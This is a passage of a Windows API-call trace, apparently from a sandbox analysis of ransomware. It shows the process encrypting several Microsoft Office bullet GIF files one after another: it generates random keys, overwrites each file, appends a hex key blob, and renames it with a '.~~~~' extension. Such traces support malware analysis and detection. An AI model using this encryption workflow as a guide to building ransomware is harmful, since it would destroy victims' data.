	[0127.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif.~~~~")) returned 1
	[0127.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6c70 | out: hHeap=0x300000) returned 1
	[0127.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.546] GetLastError () returned 0x0
	[0127.617] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.618] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.618] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.618] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24760802312) returned 1
	[0127.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb58592b0, dwHighDateTime=0x1d60e1e)) 
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9660
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9660 | out: hHeap=0x300000) returned 1
	[0127.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0127.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0127.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0127.619] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.619] GetLastError () returned 0x0
	[0127.619] GetLastError () returned 0x0
	[0127.619] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.619] GetLastError () returned 0x0
	[0127.619] GetLastError () returned 0x0
	[0127.621] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffefd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.621] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x103, lpOverlapped=0x0) returned 1
	[0127.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.622] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.622] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.623] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.623] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.623] CloseHandle (hObject=0x138) returned 1
	[0127.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0127.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif.~~~~")) returned 1
	[0127.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0127.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.625] GetLastError () returned 0x0
	[0127.636] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.638] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.638] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.638] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24762814329) returned 1
	[0127.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb587f410, dwHighDateTime=0x1d60e1e)) 
	[0127.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a47648
	[0127.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a47648 | out: hHeap=0x300000) returned 1
	[0127.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6b20
	[0127.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0127.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0127.639] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.639] GetLastError () returned 0x0
	[0127.639] GetLastError () returned 0x0
	[0127.639] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.640] GetLastError () returned 0x0
	[0127.640] GetLastError () returned 0x0
	[0127.641] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.641] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f5, lpOverlapped=0x0) returned 1
	[0127.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.643] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.644] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.644] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.644] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.644] CloseHandle (hObject=0x138) returned 1
	[0127.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6b20
	[0127.644] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif.~~~~")) returned 1
	[0127.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0127.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.646] GetLastError () returned 0x0
	[0127.646] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.648] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.648] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.648] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24763810223) returned 1
	[0127.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb58a5570, dwHighDateTime=0x1d60e1e)) 
	[0127.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f96d0
	[0127.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f96d0 | out: hHeap=0x300000) returned 1
	[0127.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7258
	[0127.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0127.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0127.649] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.649] GetLastError () returned 0x0
	[0127.649] GetLastError () returned 0x0
	[0127.650] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.650] GetLastError () returned 0x0
	[0127.650] GetLastError () returned 0x0
	[0127.651] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff03, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.652] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xfd, lpOverlapped=0x0) returned 1
	[0127.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.654] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.654] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.654] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.654] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.654] CloseHandle (hObject=0x138) returned 1
	[0127.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7258
	[0127.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif.~~~~")) returned 1
	[0127.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0127.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.656] GetLastError () returned 0x0
	[0127.656] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.658] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.658] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.658] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24764812557) returned 1
	[0127.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb58a5570, dwHighDateTime=0x1d60e1e)) 
	[0127.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9708
	[0127.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9708 | out: hHeap=0x300000) returned 1
	[0127.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e71b0
	[0127.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0127.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e71b0 | out: hHeap=0x300000) returned 1
	[0127.659] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.659] GetLastError () returned 0x0
	[0127.659] GetLastError () returned 0x0
	[0127.659] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.660] GetLastError () returned 0x0
	[0127.660] GetLastError () returned 0x0
	[0127.661] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe5d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.661] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1a3, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1a3, lpOverlapped=0x0) returned 1
	[0127.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.664] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.664] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.664] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.664] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.664] CloseHandle (hObject=0x138) returned 1
	[0127.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e71b0
	[0127.665] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif.~~~~")) returned 1
	[0127.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e71b0 | out: hHeap=0x300000) returned 1
	[0127.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.666] GetLastError () returned 0x0
	[0127.667] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.668] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.668] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.668] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24765858142) returned 1
	[0127.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb58cb6d0, dwHighDateTime=0x1d60e1e)) 
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9740
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9740 | out: hHeap=0x300000) returned 1
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e76f0
	[0127.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0127.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e76f0 | out: hHeap=0x300000) returned 1
	[0127.669] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.670] GetLastError () returned 0x0
	[0127.670] GetLastError () returned 0x0
	[0127.670] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.670] GetLastError () returned 0x0
	[0127.670] GetLastError () returned 0x0
	[0127.672] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.672] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xc4, lpOverlapped=0x0) returned 1
	[0127.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.674] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.674] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
